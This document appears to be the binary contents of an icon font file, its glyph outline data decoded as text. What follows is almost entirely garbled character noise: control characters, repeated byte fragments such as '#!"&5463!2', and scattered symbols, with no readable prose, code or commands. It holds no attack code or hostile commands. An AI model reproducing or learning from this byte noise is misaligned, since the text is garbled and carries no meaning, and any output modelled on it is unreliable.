.          3!#!"&5463! 8( 8((88(  h (8(88(@(8         ( 8 H  !!#!"&5463!54&#!"3!2654&#!"3!2654&#!"3!26(D 8((88( 8@@@$(88(@(8(8 @@@@@@   " }  
 $ B R  3/&5##"'&76;46;232!56?5"#+#5!76;5!53'#3!533H

Dq		x7	K//KFh/"		@`Z		sYwjjjjj     " }  
 $ 4 R  %3/&5##"'&76;46;232!53'#3!533!56?5"#+#5!76;5H

K//KFq		x7	h/"		@`jjjjjZ		sY
w  "     ) 9 I Y  %#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2

 @@  `		@`     "     ) 9 I Y  #!"&=463!2%#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2   

@@ r		@`r    "   
 $ C V  %4&#"326#"'&76;46;232%#"'&'73267##"&54632!5346=#'73BX;4>ID2F

8PuE>.'%&TeQ,jm{+>R{?jJrL6V		@`7>wmR1quWei/rr:Vr     "   
 $ 7 V  4&#"326#"'&76;46;232!5346=#'73#"'&'73267##"&54632BX;4>ID2F

+>R{8PuE>.'%&TeQ,jm{?jJrL6		@`rr:Vr3>wmR1quWei    @   \  %4&#"326#!"&5463!2+".'&'.5467>767>7>7632!2 &%%&&&& &7.'	:@$LBWM{#&$h1D!		.I/!	Nr&&%%&&&&V?, L=8=9%pEL+%%r@W!<%*',<2(<&L,"r       @    \  #"&546324&#!"3!26%#!#"'.'.'&'.'.546767>; &%%&&&& &i7qN	!/I.		!D1h$&#{MWBL$@:	'.&&%%&&&&=XNr%(M&<(2<,'*%<!W@r%%+LEp%9=8=L       	   + = \ d       %54#"327354"%###5#5#"'&53327#"'#3632#"'&=4762#3274645"=424'.'&!  7>76#'#3%54'&#"32763##"'&5#327#!"&5463!2BBPJNC'%!	B?)#!CC $)54f"@@
B+,A

A+&+A
ZK35N #J!1331CCC $)w@www2"33FYF~(-%"o4*)$(*	(&;;&&9LA38334S,;;,WT+<<+T;(\g7x:&&::&&<r%-@www       	   + = [ c }     #"'632#542%35!33!3##"'&5#327%54'&#"5#353276%5##"=354'&#"32767654"2 '.'&547>76 3#&'&'3#"'&=47632%#5#"'&53327''RZZ:kid YYY.06	62+YY-06	R[!.'CD''EH$VVX::YX;:Yfyd/%jG&DC&&CD&O[52.[$C-D..D^^* ly1%=^I86i077S3
$EWgO%33%OO%35	EEFWt;PP;pt;PP;pqJgTFQ%33&PP%33%R7>%3!+}   {  '  +"&72'&76;2+"'66;2U
&
	(P

*'eJ."-dZ-n -         ' 7  4'&+";27&+";276'56#!"&5463!2~}		7e 	۩w@www"$Q#'!#@www       
   I  -22#!&$/.'.'.'=&7>?>369II ! '	$ !01$$%A'	$ ! g	
\7@)(7Y
	
 \7@)(7Y
   @       	'5557	,VWQV.RW=?l%l`~0            !#!#%777	5!	R!!XCCfff݀# `,{{{`          O g   4&"2  &6 $"&462$"&62>7>7>&46.'.'.  '.'&7>76  Ԗ HR6L66LGHyU2LL2UyHHyU2LL2UyHn
X6X

XX
ԖԖH6L66L6L2UyHHyU2LL2UyHHyU2Ln6X

XX

           2#!"&5463 4&"2$4&"2ww@ww||||||w@www|||||||       	   !3	37!  $$  n6^55^h
^aaM1^aa    P 
  * C g  '.676.7>.'$7>&'.'&'? 7%&'.'.'>767$/u5'&$I7ob?K\[zH,1+.@\7<?5\V,$Vg.GR@ 7U,+!	#	"8$}{)<?L RR;kr,yE[z#	/1
"#	#eCI0/"5#`	"84~&p)4	2{H-.%W.L>       ' : Y i  4&67&'&676'.'>7646&' '7>6'&'&7>7#!"&5463!2PR$++'TJXj7-FC',,&C."!$28h/"	+p^&+3$i0(w@www+.i6=Bn\C1XR:#"'jj8Q.cAj57!?"0D$4"P[&2@www     D   "  %.5#5>7>;!!76PYhpN!HrD0M C0N#>8\xx: W]oW-X45       /  %'#.5!5!#"37>#!"&5463!2p>,;$4
 5eD+WcEw@wwwK()F
,VhV^9tjA0/@www  @     #"'&76;46;23

	 &

         ++"&5#"&7632	^

c &

     @    #!'&5476!2  &

^

b	        '&=!"&=463!546
 &

	
     q  & 8  #"'&#"#"5476323276326767q'T1[VA=QQ3qqHih"-bfGw^44O#A?66%CKJA}}  !"䒐""A$@C3^q|z=KK?6lk)           %!%!VVuuu^-m5w}n      ~    7 M [   264&"264&"2"&546+"&=##"&5'#"&5!467'&766276#"&54632    *<;V<<O@-K<V<<+*<J.@kclGH__H<+*<<*+<    <*R+<<+*<f.@+<<++<<+@.7uu7**R+<<++;; 	      "%3I  #5472&6&67><&4'>&4.'.'.'.'.'&6&'.'.6767645.'#.'6&'&7676"&'&627>76'&7>'&'&'&'&766'.7>7676>76&6763>6&'&232.'.6'4."7674.'&#>7626'.'&#"'.'.'&676.67>7>5'&7>.'&'&'&7>7>767&'&67636'.'&67>7>.'.67	\

	U7	
J#!W!'	"';%
k	)"	
	'

/7* 		I	,6
*&"!O6*O $.(	*.'
.x,	$CN	
		*	
6		
7%&&_f&
",VL,G$3@@$+
"


V5 3"	""#dA++
y0D-%&n4P'A5j$9E#"c7Y
6"	&
8Z(;=I50' !!eR

"+0n?t(-z.'<>R$A"24B@(	~	9B9,	*$				<>	?0D9f?Ae 	.(;1.D	4H&.Ct iY% *	
7J	 <W0%$	
""I!*D	 ,4A'4J"	.0f6D4pZ{+*D_wqi;W1G("%%T7F}AG!1#% JG3        ' . 2 > V b  %&#'32&'!>?>'&' &>"6&#">&'>26 $$  *b6~#= XP2{&%gx| .W)oOLOsEzG<	CK}E	$MFD<5+
z^aa$MWM1>]|YY^DեA<KmE6<"@9I5*^aa       > ^  4./.543232654.#"#".#"32>#"'#"$&547&54632632':XM1h*+D($,/9p`DoC&JV<Z PA3Q1*223IoBkែhMIoPែhMIoP2S6,M!"@-7Y.?oI=[<%$('3 -- <-\%FuPoIMhPoIMh    ,  # ? D  76&#!"7>;267676&#!"&=463!267
#!"'&5463!26%8#!&&Z"M>2!	^I7LRx_@>MN""`=&&*%I},
		L7_jj9          /  %4&#!"3!264&#!"3!26#!"&5463!2  &&&&  &&&&         1 9  #"'#++"&5#"&5475##"&54763!2 "&462 8(3-	&B..B&	-3(8 IggI `(8+Ue&.BB.&+8(kk`      % -  "&5#"&5#"&5#"&5463!2 "&462 8P8@B\B@B\B@8P8pPPp@`(88(`p.BB.0.BB.(88(Pppͺ      !  %>&'&#"'.$ $$ ^/(V=$<;$=V).X^aaJ`"(("`J^aa    ,   I   4."2>%'%"/'&5%&'&?'&767%476762%6[՛[[՛oܴ
 
		$$	"	$$		՛[[՛[[5`

^^

2``2

^^

`     1  %#"$54732$%#"$&546$76327668ʴhf킐&^zs,!V[vn)	6<ׂf{z}))Ns3(  @   +   4&#!"3!2#!"&5463!2#!"&5463!2@& && f&&&&@& && &4&&4& @&&&& && &&    ` B H   +"/##"./#"'.?&5#"&46;'&462!76232!46 `&C6@Bb03eI;:&&&4L4&F
Z4&w4) ''5r&4&&4&&4    }G   #&/.#./.'&4?63%27>'./&'&7676>767>?>%6})(."2*& @P9A
#sGq]
#lh<*46+(	
<5R5"*>%</
 '2@ 53*9*,Z&VE/#E+)AC
(	2k<X1$:hI(B"	!:4Y&>"/	+[>hy
	   K 
  ! / U i   %6&'&676&'&6'.7>%.$76$% $.5476$6?62'.76&&'&676%.76&'..676#"NDQt	-okQ//jo_		%&JՂYJA-.--
9\DtT+X?*<UW3'	26$>>W0{"F!"E ^f`$"_]\<`F`FDh>CwlsJ@;=?s:i_^{8+?`)O`s2RDE58/K       r 	    #"'>7&4$&5mī"#̵$5$"^^W=acE*c      z  k  ./ "&4636$7.'>67.'>65.67>&/>z X^hc^O<q+f$H^XbVS!rȇr?5GD_RV@-FbV=3!G84&3Im<$/6X_D'=NUTL;2KPwtPt= 

&ռ,J~S/#NL,8JsF);??1zIEJpqDIPZXSF6\?5:NR=;.&1          +!"&=!!%!5463!2sQ9Qs***sQNQsBUwwUBF H CCTww      % 1   #"&=!"&=463!54632.  6  $$ 		`?(r^aa		
(_^aa         % 1  #!#"'&47632!2.  6  $$ 		@	`(r^aa
?		@	(_^aa        /  #"'&476324&#!"3!26#!"&5463!2 &@& @ w@www&@B@&@@www          "&462  >& $$  Ԗ*(r^aaԖԖ (^aa       ]  6  #"$547 32>%#"'!"&'&7>32'!!!2f:лѪz~u: ((%`V6B^hD%i(]̳ޛ	*>6߅r#!3?^BEa߀#9       # 3  6'&632#"'&'&63232#!"&5463!2
Q,&U#+' ;il4L92<D`w@www`9ܩ6ɽ]`C477&@www       D  +"&5#"'&=4?5#"'&=4?546;2%6%66 546;2
	
	wwwwcB
G]B
Gty]ty      # 3 C  #!+"&5!"&=463!46;2!24&#!"3!26#!"&5463!2@`@`^BB^^B@B^www@w@`@`2@B^^BB^^ww@w        ' / ? P  +5#"&547.467&546;532!764'!"+32#323!&ln@:MM:@nY*Yz--zY*55QDDU9pY-`]]`.X /2I$	t@@/!!/@@3,$,3$p$00&*0&&!P@     R V  2#"&/#"&/#"&546?#"&546?'&54632%'&54632763276%>S]8T;/M77T</L7=Q7,i<R7,5T</L666U;/M5<U<,i6iQ=a!;;V6-j;V6-5	P=/L596Q</L5<U6-i;V7,7O;-I68i;k         ) I  2#!"&5463#9"'.'.'3!264&#!"2>7%>ww@ww!"5bBBb//*
8(@(87)(8=%/'#?w@www#~$EE y &L(88e):8(%O r		

		O           ? G Q a q  47&67>&&'&67>&"&#6$32#"#"'654   $&6  $6&$ CoL.*KPx.* 
iSƓi
7J?~pi{_Я;lLUZ=刈刈_t'<Z :!
	@!
j`Q7$ky, Rfk*4LlL=Z=刈           &$&546$7%7&'5>]5%w  &P?zrSF!|         & 0  	##!"&5#5!3!3!3!32!546;2!5463)
)     ;));;)) &&        &@@&&&    	   6   $&727 "'%+"'&7&54767%&4762֬>4Pt+8?::
		
::AW``EvEEvE<."e$IE&O&EI&{h.`  m  "  &#"& '327>73271[>+)@(]:2,C?*%Zx/658:@#N
C=E(oE=W'c:     #  !#"$&6$3 &#"32>7! ڝyy,{ۀہW^F!LC=y:yw߂0H\R%          " N ^   '&76232762$"&5462"&46274&"&'264&#"'&&#"32$54'>$ $&6$ G>>0yx14J55J5J44J5Fd$?4J55%6E#42F%$fLlLq>>11J44%&4Z%44J54R1F$Z-%45J521Z%F1#:ʎ 9LlL          # Q a  "'&7622762%"&5462"&546274&#"&'73264&#"'&&#"32654'>#!"&5463!255**.>.-@-R.>.-@-<+*q6- -- 0<o,+< 3w@www55**.. -- .. --G*<N' ,-@-+*M <*2zz1@www      0 <  754&""&=#326546325##"&='26  $$ bZtt&sRQsZ<tsQ^aa>OpoOxzRrqP6z~{{Prr^aa    ]  0  54&"#"&5!2654632!#"&57265&<T<H<T<H<T<8v*<<*
+;;+l:=:*;;*         %!!"!!26#!"&5463!2@ ]]@w@www] @@www         	     % )  3!!#335!!5!5!%#!!5!5!%#HH{RHH{GG{)qGRRqRRq     	  # 0 @   #"'632 #"'632 &#"7532&#"#7532#!"&5463!2L5+*5L5+*5~}7W|3B}}JC7=}w@wwwDZQ[1N:_)i$)@www   
 )	             6.#&#"'&547>'&#".'&'#"&5467%&4>7>3263232654.547'654'63277.'.*#">7?67>?>32#"'7'>3'>3235?KcgA+![<E0y$,<'.cI
	,# '!;7$=ep	//7/
D+R>,7*
2(-#=
	/~[(D?G  |,)"#+)O8,+'6	y{=@0mI#938OAE`
-
)y_/FwaH8j7=7?%a	%%!?)L
J9=5]~pj
 %(1$",I $@((
+!.S		-L__$'-9L	5V+	
	6T+6.8-$0+t|S1       6 ]   &#"'&#"67>76'&'&#"67>32764.#"#.32>67>7 $&54>7>7>7rJ@"kb2)W+,5/1		#

Z
-!$IOXp7sLCF9vz NAG#/ 5|Հ';RKR/J#=$,9,+$UCS7'2"1
 !/
,
/--ST(::(ep4AM@=I>".)xΤlsY|qK@
%(YQ&NEHv~        < Z x  '#"&5467&6?2?'&"/.7.546326#"&'&/7264/7'764&"'?>>32.AUpIUxYE.A%%%h%%hJ%D,FZxULsTgxUJrVD%hJ%@/LefL.C%Jh%CVsNUxϠ@.FZyUHpVA%h&%%%Ji%CWpIUybJ/Uy^G,D%Jh%@UsMtUC%hJ%C-Kfy        E X [ _ g j    &/&'.''67>7>7&'&'&'>76763>7>#&'&'767672'%'7'+"&'&546323267>7%#"'4'6767672,32,+DCCQLDf'
%:/d
B	4@}&!0$?Jfdf-.=6(:!TO?
!IG_U%
.k*.=;	5gN_X	"
##
292Q41*6nA;|BSN.	%1$6	$nk^        ' 7 G W g w       2+"&5463#!"&5463!254&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26#"&=! B^^BB^^B:FjB^8((`(   `(8^BB^^B@B^"vE j^B (8(`( 8(         / ? O _ o         /?  2#!"&5463;26=4&+";26=4&+";26=4&+";26=4&+"54&+";2654&+";2654&+";2654&+";2654&+";2654&#!"3!2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26@&& &&@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@ &&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @`  '  	"&5#"&5&4762!762$"&462B\B@B\BOpP.BB..BB.8$PO広      3 C Q  #".54>32#".546322#"&#"#"54>%".54>32%2#"&54>&X=L|<&X=M{<TMLFTMLFv"?B+D?BJpH=X&<{M=X&<|dMTFLMTF(<kNsI<kNsPvoJPwo/s.=ZYVӮvNk<JsNk<IshwPJovPJo  @     +"&7.54>2r_-$$-_rUU%&&5%ő            '-"'.546762@FF$@B@$.&,&.]]|q #<<# (B  B               B  %'-%'-'%'-"'%&'"'%.5467%467%62@ll@ll,@GG&!@@@@@@!&+#+#6#+$*`:p:px
p=`$>>$&@&@

@&p@       	  & . A  !!"!&2673!"54 32!%!254#!5!2654#!%!2#!8Zp?vdΊens6(N[RWu?rt1SrF|iZ@7މoy2IMC~[R yK{T:         % , A G K  2#!"&5463!!2654'654.#532#532"&5!654&#"327#2#>!!ww@ww~uk'JTMwa|
DH>I1qFj?w@wwwsq*4p9O*¸Z^qh LE
"(nz8B
M         ' ?   "&462 4&#"'.'324&#"3267 ##"&/6326 32 .ʏhhMALR vGhг~~KyO^ʏʏВ*LM@!<I~~t\0          C M   4&"2 #"&'676&/632#!"&=3267%2654&#"&#"%463!2"&4632rqqtR8^4.<x3=RRw@w_h
YӖ	K>שwwȍde)qrOPqȦs:03=<x!m@wwE\xgӕє%wwdȎ  V   - < K \  %.'.>7'.?67'67%'>&%'7%7./6D\$>	"N,?a0#O1G9'/P(1#00($=!F"9|]"RE<6'o9%8J$\:\HiTe<?}V#oj?d,6%N#"
HlSVY]C=    @     C   4&"2!.#!" 4&"2+"&=!"&=#"&546;>3!232^^^Y	 	^^^`pp pp`]ib bi]~^^^e^^^ PppPPppP]^^]       3 ; E M  2+"&=!"&=#"&546;>;5463!232 264&"!.#!" 264&" ]`pp pp`]ibbi^^^dY	 	!^^^]@PppP@@PppP@]^^] ^^^e^^^      3  $#!#!"&5467!"&47#"&47#"&4762++&2
$$
2&&&4&&Z4&&##&&4&4&44&m4&m      + D P  4'&#"32763232674'&!"32763 3264'&$#"32763232> $$ g* o`#ə0#z#l(~̠)-g+^aaF s"	+g(*3#!|#/IK/%*%D=)[^aa        	!!!'!!77! ,/,-a/G      	 t  % / ; < H T b c q         %7.#"32%74'&"32765"/7627#"5'7432#"/7632#"5'7432#"&5'74632	#"/6327#"/6327#"/46329"&/462"&/>21"&/567632#!.547632 632
		*
			X		

^`		

^b	c
	fuU`59u


4J
	l~		~	F	
	2		m|O, 	
ru|	u
"           ) 9    $7 $&=  $7 $&=  $7 $&=   $&=46w`ww`ww`wb` VTEvEEvETVTEvEEvET*VTEvEEvET*EvEEvEEvEEv         # ^ c t    #!"&5463!2!&'&!"&5!632#"&'#"/&'&7>766767.76;267674767&5&5&'67.'&'&#3274(8((88((`x
c`(8 !3;:A0?ݫY
	^U	47D$	74U3I|L38wtL0`((88(@(8(D9 8( Q1&(!;
(g-	Up~R2(/{E(Xz*Z%(i6CmVo8            # T  #!"&5463!2!&'&!"&5!3367653335!3#4.5.'##'&'35(8((88((`x
c`(8 iFFZcrcZ`((88(@(8(D9 8( kk"	kkJ	 	!	k          # S  #!"&5463!2!&'&!"&5!%!5#7>;#!5#35!3#&'&/35!3(8((88((`x
c`(8 -Kg
kL#DCJgjLD`((88(@(8(D9 8( jj	jjkkkk            # 8 C  #!"&5463!2!&'&!"&5!%!5#5327>54&'&#!3#32(8((88((`x
c`(8  G]L*COJ?0R\wx48>`((88(@(8(D9 8( jjRQxk!RY            # * 2  #!"&5463!2!&'&!"&5!!57"&462(8((88((`x
c`(8  Pppp`((88(@(8(D9 8( ppp  	          # * 7 J R  5#5#5#5##!"&5463!2!&'&!"&5##5!"&54765332264&"  <(8((88((`x
c`(8 kޑcO"jKKjK`((88(@(8(D9 8( SmmS?M&4&&4            # 9 L ^  #!"&5463!2!&'&!"&5!#"/#"&=46;76276'.'2764'.(8((88((`x
c`(8 6ddWW6&44`((88(@(8(D9 8( .	G5{{5]]$5995           # 3 C  #!"&5463!2!&'&!"&5!2#!"&5463#"'5632(8((88((`x
c`(8 4LL44LL4l			`((88(@(8(D9 8( L44LL44L	
Z
	           # 7 K [  #!"&5463!2!&'&!"&5!>&'&7!/.?'&6?6.7>'(8((88((`x
c`(8 `3333v?`((88(@(8(D9 8( &&-&&?
  '  6  #'.
'!67&54632".'654&#"32eaAɢ/PRAids`WXyzOvд:C;A:25@Ң>-05rn`H(' gQWZc[          
     -  %7'	%'-'%	%"'&54762[3[MN3",""3,3"ong$߆]gn$+)")")"         x # W  #"&#!+.5467&546326$32327.'#"&5463232654&#"632#".#"oGn\u_MK'̨|g?CM7MM5,QAAIQqAy{b]BL4PJ9+OABIRo?z.z
n6'+s:zcIAC65D*DRRD*wyal@B39E*DRRD*             ' / 7     $&6$ 6277&47'  7'"' 6& 6'lLRRZB|RR>dZZ LlLZRR«Z&>«|R     !   $&54$7  >54 '5PffP牉@s-ff`-      c  6721>?>././76&/7>?>?>./&31#"$&(@8!IH2hM>'
)-*h'N'!'Og,R"/!YQG<I *1)
(-O1D+0nz3fwG2'3rd1!sF0o .q"!%GsH8@-!5|w|pgS="B2PJfhGdR 	        ( P ] l y    &$'77&7567'676'"'7&'&'7&47'6767'627''6$ '67'654'7&'7'&'&'7&'5 &$  $6 $&6$ jj:,AAS9bb9R#:j8AܔA,zC9Z04\40Z9C!B;X0,l,0X;B*A8ܔA&#9j`b9S$#R99#&A8A`䇇<Z<䳎LlLfBϬ"129,V<4!!88dpm"BV,92[P*V*P\MC

CM\P*V*P]LD

DL&BV*8*8!f!4<gmpd88!&!8*8*VB Z<䇇䇇LlL        9 E i s   %#"5432#"543275#&#"3254&'.547>54'63&547#5#"=3235#47##6323#324&"26%#!"&5463!2F]kbf$JMM$&N92<Vv;,&)q(DL+`N11MZ
%G&54	#	i<$8&@0H12F1dw@wwwB?@UTZ3%}rV2hD5%f-C#C@,nO	a7.0x2	yRuR/u%6;&$76%$56S@www     D     < H l w  %4#"324&#"32!".5475&5475.546322#654'3%#".535"&#"5354'33"&+32 #"&54632S;<;||w$+|('-GVVG-EznAC?H_`Rb]Gg>Z2&`9UW=N9:PO;:dhe\=R
+)&')-S99kJ<)UmQ/-Ya^"![Y'(<`X;_L6#)|tWW:;X          	#'#3#!"&5463!2)
p*xeשw@www0,\8@www  9    I   #"'#"&'&>767&5462#"'.7>32>4."&'&54>32JrO<3>5-&FD(=Gq@C$39aLL²L4
&)
@]vq#CO!~󿵂<ZK#*Pq.%L²LLarh({w؜\     i  &5467&6747632#".'&##".'&'.'#".5467>72765'./"#"&'&5}1R<2"7MW'$	;IS7@5sQ@@)R#DvTA;
0xI)!:>+<B76:NFcP:SC4rl+r E%.*a-(6%('>)C	6.      >  
  ! - I [   4&#"324&#"3264&#"324&#"326&#"#".'7$4$32'#"$&6$32D2)+BB+)3(--(31)+BB+)4'--'4'#!0>R	HMŰ9ou7ǖD䣣
R23('3_,--,R23('3_,--,NJ
?uWm%        #"'%#"'.5	%&'&7632! ;	`u%"( !]#c)(	            #"'%#"'.5%&'&76	! 	(%##fP_"( !)'+ŉ       4 I   #"$'&6?6332>4.#"#!"&54766$32#!"&=46;46;2 z䜬m
IwhQQhbF*@&('k@z
	
_hQнQGB'(&*eozΘ@@`             >.  $$ ffff^aa fff^aa  >   "&#"#"&54>7654'&#!"#"&#"#"&54>765'46.'."&54632326323!27654'.5463232632,-,,",:!%]&%@2(/.+*)6!	<.$..**"+8##Q3,,++#-:#"</$)

w


,*

x9-.2"'
,,
@&,,
Qw
,     ,  #"+"&5#+"&5&'&'&547676)2%2$l$#l#b~B@XXyo2$CI@5$$>$$/:yuxv)%$ 	          / ? C G  %!5%2#!"&5463!5#5!52#!"&54632#!"&5463#5!5`&& &&  && &&&& &&@& && &  & && & & && &      %  2 &547%#"&632%&546 #"'6\~~\h
~\h\ V
VVV       % 5  $4&#"'64'73264&"&#"3272#!"&5463!2 }XT==TX}}~>SX}}XS>~}w@www~:xx:~}}Xx9}}9xX}@www        / > L X d s   .327>76 $&6$32762#"/&4762"/&47626+"&46;2'"&=462#"'&4?62E0l,
*"T.D@Yooo@5D

[		

Z
Z

		[	 ``[



Z

	2
,l0
(T".D5@oooY@D,

Z

		[			[		

Z
``EZ

		[		
         5  %!  $&66='&'%77'727'%amlLmf?55>fFtuutFLlLHYCL||LY˄(E''E*(           / ? I Y i y      %+"&=46;2+"&=46;2+"&=46;2+"&=46;2%"&=!#+"&=46;2+"&=46;2+"&=46;2+"&=46;2!54!54>$ +"&=46;2#!"&=@&&@3P>P3&&rrr&&rrr
he
4LKM:%%:MKL4WT&&            % / 9  ##!"&563!!#!"&5"&5!2!5463!2!5463!2&& &  & &&   &&& i@ &&@& 7         '#5&?6262%%o;j|/&jJ%p&j;&i&p/|jţ%Jk%o%      	  : g  "&5462#"&546324&#!"263662>7'&75.''&'&&'&6463!276i~ZYYZ~@OS;+[G[3YUD#o?D&G3I=JyTkBuhNV!WOhuAiSy*'^CC^'*SwwSTvvTSwwSTvvWID\_"[gq# /3qFr2/ $rg%4
HffHJ4   d       #!#7!!7!#5!VFNrmNNNN!     Y  + ? N e  %&'&'&7>727>'#&'&'&>2'&'&676'&76$7&'&767>76'6#<;11x#*#G,T93%/#0vNZ;:8)M:(	&C.J}2	%0 	^*
JF	
&7'X"2LDM"	+6
M2+'BQfXV#+]
#'
L/(eB9   
             # , 8  !!!5!!5!5!5!5#26%!!26#!"&5!5          &4& &pPPp        @@&&@!&@PppP@  *  	  9 Q  $"&54627"."#"&547>2"'.#"#"&5476$ "'&$ #"&5476$ (}R}hLK
NN
 Ud:
xx
8

 ,, |2222
MXXM
ic,>>,

		
̺
           ' / 7 ? K S c k {  4&"2$4&"2 4&"2 4&"2 4&"2 4&"2 4&"2 4&"24&"26 4&"24&#!"3!264&"2#!"&5463!2KjKKjKjKKjKjKKjKKjKKjKjKKjKjKKjKKjKKjKjKKjKLhLLhLKjKKj& && &KjKKjL44LL44L5jKKjKKjKKjKjKKjKjKKjKjKKjKjKKjKjKKjKjKKjK4LL44LLjKKjK && &&jKKjK  4LL4 4LL  	   ' E  !#"+"&7>76;7676767>'#'"#!"&7>3!2W",&7'	#$	&gpf5O.PqZZdS-V"0kqzTxD!!8p8%'i_F?;kR(`
!&)   '    
   (  2 !&6367 !	&63!2!
`B1LO(+#=) heCQg#s`f4#6q'X|0-g   	      > I Y  #6?>7&#!%'.'33#&#"#"/3674'.54636%#"3733#!"&5463!24:@7vH%hEP{0&<'VFJo1,1.F6A#L4 4LL4 4L"%	
 
7x'6O\JYFw~v^fH$ !"xdjD"!6`J 4LL4 4LL   	    + 3 @ G X c g q z     -<JX{  &#"327&76'32>54.#"35#3;5#'#3537+5;3'23764/"+353$4632#"$2#462#"6462""'"&5&5474761256321##%354&'"&#"5#35432354323=#&#"32?4/&54327&#"#"'326'#"=35#5##3327"327'#"'354&3"5#354327&327''"&46327&#"3=#&#"32?"5#354327&3=#&"32?"#3274?67654'&'4/"&#!"&5463!2_gQQh^_~\[[\]_^hQQge<F$$$ !!&&/!/!!00/e&'!"e$
		'!!''
	8''NgL4 4LL4 4LUQghQUk=<Sccc,-{kjUQhgQ9
,&W &$UK$$KK$$KDC(>("
!
=))=2( '! 'L#(>(&DC(>(zL#DzG)<) 4LL4 4LL    	  
    B W b j q }    +532%+5324&+32763#4&'.546327&#"#"'3265#"&546325&#"32!26 4&"2%#'#735#535#535#3'654&+353#!"&5463!29$<=$@?SdO__J-<AA@)7")9,<$.%0*,G3@%)1??.+&((JgfJ*A!&jjjGZYGиwsswPiL>8aA	!M77MM77M3!4erJ]&3YM(,
,%7(#),(@=)M%A20C&Mee(X0&ĖjjjV	8Z8J9N/4$8NN88NN      	       # & : O [   	$?b  3'7'#3#%54+32%4+324+323'%#5#'#'##337"&##'!!732%#3#3##!"&53733537!572!56373353#'#'#"5#&#!'#'#463!2#"5#"5!&+&+'!!7353273532!2732%#54&+#32#46.+#2#3#3##+53254&".546;#"67+53254&.546;#"#'#'##"54;"&;7335wY-AJF=c(TS)!*RQ+*RQ+Y,B^9^Ft`njUM')	~PS PRm٘M77Mo7q

@)U	8"E(1++NM77Mx378D62W74;9<-A"EA0:AF@1:ؗBf~~""12"4(w$#11#@}}!%+%5(v$:O\zK?*$\amcrVlOO176Nn<!E(=<&l/<<[ZZYY891767OO7==..//cV==::z,,,,aa,,7OO7Z::;;YfcW(		"6-!c(		!5	#
bt88176tV:
&$'*9	%e#:%'*9B<<;
&(        	    # : S n       #"&54632%#76;2#"&54632%4&+";2?>23266&+"&#"3267;2 4&+"'&+";27%4&+";2?>23266&+"&#"3267;254+";27#76;2#!"&5463!23%#2%%,, _3$$2%%M>ALVb5)LDHeE:<EMj,K'-RM ~M>ARVb5)LEHeE:<EJABI*'!($rL4 4LL4 4Lv%1 %3!x*k$2 %3!;5h
n
a
!(lI;F	
	
	rp
p8;5h
t
a
!(lI;F`	#k 4LL4 4LL   
  	  
  2 H W [ l t    #"'5632#6324&'.54327&#"#"&'32767#533275#"=5&#"'#36323#4'&#"'#753276 4&"24'&#"327'#"'&'36#!"&5463!2=!9n23BD$ &:BCRM.0AC'0RH`Q03'`.>,&I / * /

8/n-(G@5$ S3=,.B..B02^`o?7je;9G+L4 4LL4 4LyE%#	Vb;A!p &'F:Aq)%)#orgT$v2 8)2z948/{8AB..B/q?@r<7(g/ 4LL4 4LL        ?  #!"&'24#"&54"&/&6?&5>547&54626=L4@ԕ ;U g3

T
2RX='8P8|5
4Ljj U;Ig@
	
`
 "*\(88(]k
          & N  4#"&54"3	.#"#!"&'7!&7&/&6?&5>547&54626;U gIm*]Z0L4@ԕ=o=CT

T
2RX='8P8|5
 U;IgXu?bl3@4Ljja`
	
`
 "*\(88(]k         / 7 [  %4&+";26%4&+";26%4&+";26!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@0

o`^BB^`5FN(@(NF5@@@u		@LSyuS@%44%     , < H  #" 54 32+"=4&#"326=46;2  >.  $$ ~Isy9"SgR8vHD	w
ffff^aam2N+	)H-mF+10*F		+fff^aa        b  4&#"32>"#"'&'#"&54632?>;23>5 !"3276#"$&6$3  k^?zb=ka`U4J{K_/4^W&	vx :XB0܂ff)
fzzXlz=lapzob35!2BX
G@8'	'=vN$\ff	1	SZz8zX          # (   "/+'547'&4?6276	'D^h



i%5 @%[i



h]@ ]h



i%@ 5%[i



h^@@       )  2 #"&5476 #".5327>OFi-ay~\~;'S{s:D8>)AJfh ]F?X{[TC6LlG]v2'"%B];$         - o     %!2>7>3232>7>322>7>32".'.#"#"&'.#"#"&'.#"#546;!!!!!32#"&54>52#"&54>52#"&54>52  -P&+#($P.-P$'#+&PZP&+#"+&P-($P-.P$(#+$P.-P$'#+&P-.P$+#pP@     @Pp H85K"&Z H85K"&Z H85K"&Z@Pp@@@pMSK5, :&LMSK5, :&LMSK5, :&        !!3	!	    @  @@           	#"$$3!!2 "jaѻxl alxaa j         !!3/"/'62'&63!2   'y

`I

y My

`I

y'       W `  #".'.#"32767!"&54>3232654.'&546#&'5&#"

4$%Eӕ;iNL291 ;XxR`f՝Q8TWiWgW:;*:`Qs&?RWXJ8oNU0J1F@#)
[%6_POQiX(o`_?5"$iʗ\&>bds6aP*< -;iFn*-c1B       W g  4'.'4.54632#7&'.#"#"'.#"32767'#"&54632326#!"&5463!2#$(	1$6]'
!E3P|ad(2S;aF9'EOSej]m]<*rYshpt.#)$78L*khw@wwwB
%$/$G6
sP`X):F/fwH1pdlqnmPHuikw_:[9D'@www            3   4."2>$4.#!!2>#!".>3!2QнQQнQQh~wwhf ff нQQнQQнQZZQffff           #  >3!2#!".2>4."f ff нQQнQQffffQнQQн      	      , \  !"&?&#"326'3&'!&#"#"'     5467'+#"  327#"&463!!'#"&463!2632(#AHs9q  ci<=
#]<OFA!re&&U&& ![eF U?g4_a?b+r7&4&&4&p,           + K   4&"2$4&"2.#!"3!264&#!"3!2#"&=!"&=#47>$ KjKKjKKjKKjH#j#H&&&KjK KjKg	V	ijKKjKKjKKjK..n(([5KK55KK5[poNv<<vN:f      . R   #!"&463!24'!"&5463!&$#"!2#!32>+#" '#"&546;&546$32 322$B$22$$*$22$Xڭӯ$22$tX'hs2$ϧkc$22$1c$2F33F3VVT2#$2ԱVT2#$2g#2UU݃
2$#2UU1݃2         , u   54#"67.632&#"32654'.#"32764.'&$#"7232&'##"&54732654&#"467&5463254632>32#"'&ru&9%"*#͟ <yK0Og" &9B3;㛘8s%+DWXRD= @Y%	!Q6R!4M8+6rU^z=)RN.)C>O%GR=O&^opC8pP*bY
_#$N Pb@6)?+0L15"4$.Es
